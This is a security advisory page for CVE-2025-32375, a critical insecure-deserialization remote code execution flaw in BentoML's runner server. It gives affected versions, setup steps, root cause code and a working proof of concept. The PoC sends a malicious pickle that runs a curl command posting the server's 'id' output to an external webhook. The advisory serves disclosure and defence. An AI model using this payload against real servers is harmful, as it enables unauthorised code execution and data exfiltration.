Skip to content
BentoMLGHSA-7v4r-c989-xh26

BentoML's runner server Vulnerable to Remote Code Execution (RCE) via Insecure Deserialization

Critical9.8CVE-2025-32375 · Published Apr 9, 2025 · updated Jun 10, 2026

GitHub advisory

Affected versions

PackageAffectedFixed in
bentoml
PyPI
>= 1.0.0a1, < 1.4.81.4.8
Details and references

### Summary There was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server. ### PoC - First, create a file named **model.py** to create a simple model and save it ``` import bentoml import numpy as np class mymodel: def predict(self, info): return np.abs(info) def __call__(self, info): return self.predict(info) model = mymodel() bentoml.picklable_model.save_model("mymodel", model) ``` - Then run the following command to save this model ``` python3 model.py ``` - Next, create **bentofile.yaml** to build this model ``` service: "service.py" description: "A model serving service with BentoML" python: packages: - bentoml - numpy models: - tag: MyModel:latest include: - "*.py" ``` - Then, create **service.py** to host this model ``` import bentoml from bentoml.io import NumpyNdarray import numpy as np model_runner = bentoml.picklable_model.get("mymodel:latest").to_runner() svc = bentoml.Service("myservice", runners=[model_runner]) async def predict(input_data: np.ndarray): input_columns = np.split(input_data, input_data.shape[1], axis=1) result_generator = model_runner.async_run(input_columns, is_stream=True) async for result in result_generator: yield result ``` - Then, run the following commands to build and host this model ``` bentoml build bentoml start-runner-server --runner-name mymodel --working-dir . --host 0.0.0.0 --port 8888 ``` - Finally, run this below python script to exploit insecure deserialization vulnerability in BentoML's runner server. ``` import requests import pickle url = "http://0.0.0.0:8888/" headers = { "args-number": "1", "Content-Type": "application/vnd.bentoml.pickled", "Payload-Container": "NdarrayContainer", "Payload-Meta": '{"format": "default"}', "Batch-Size": "-1", } class P: def __reduce__(self): return (__import__('os').system, ('curl -X POST -d "$(id)" https://webhook.site/61093bfe-a006-4e9e-93e4-e201eabbb2c3',)) response = requests.post(url, headers=headers, data=pickle.dumps(P())) print(response) ``` And I can replace the **NdarrayContainer** with **PandasDataFrameContainer** in **Payload-Container** header and the exploit still working. After running **exploit.py** then the output of the command **id** will be send out to the WebHook server. ### Root Cause Analysis: - When handling a request in BentoML runner server in `src/bentoml/_internal/server/runner_app.py`, when the request header `args-number` is equal to 1, it will call the function `_deserialize_single_param` like the code below: ``` https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L291-L298 async def _request_handler(request: Request) -> Response: assert self._is_ready arg_num = int(request.headers["args-number"]) r_: bytes = await request.body() if arg_num == 1: params: Params[t.Any] = _deserialize_single_param(request, r_) ``` - Then this is the function of `_deserialize_single_param`, which will take the value of all request headers of `Payload-Container`, `Payload-Meta` and `Batch-Size` and the crafted into `Payload` class which will contain the data from `request.body` ``` https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L376-L393 def _deserialize_single_param(request: Request, bs: bytes) -> Params[t.Any]: container = request.headers["Payload-Container"] meta = json.loads(request.headers["Payload-Meta"]) batch_size = int(request.headers["Batch-Size"]) kwarg_name = request.headers.get("Kwarg-Name") payload = Payload( data=bs, meta=meta, batch_size=batch_size, container=container, ) if kwarg_name: d = {kwarg_name

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Severity from
GitHub (reviewed advisory)
Weakness
CWE-502
Also known as
CVE-2025-32375, PYSEC-2025-32

More BentoML advisories

All BentoML
DateAdvisory
Apr 42025BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization
CVE-2025-27520Critical9.8fixed in 1.4.3
Mar 202025BentoML deserialization vulnerability
CVE-2024-9070Critical9.8no fix yet
Mar 202025BentoML Denial of Service (DoS) via Multipart Boundary
CVE-2024-9056High7.5no fix yet
Mar 202025BentoML Open Redirect vulnerability
GHSA-564p-rx2q-4c8vMedium6.1no fix yet
Mar 202025BentoML vulnerable to Uncontrolled Resource Consumption
GHSA-hh3j-9m59-p8vcHigh7.5no fix yet
Jul 292025BentoML SSRF Vulnerability in File Upload Processing
CVE-2025-54381Critical9.9fixed in 1.4.19

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.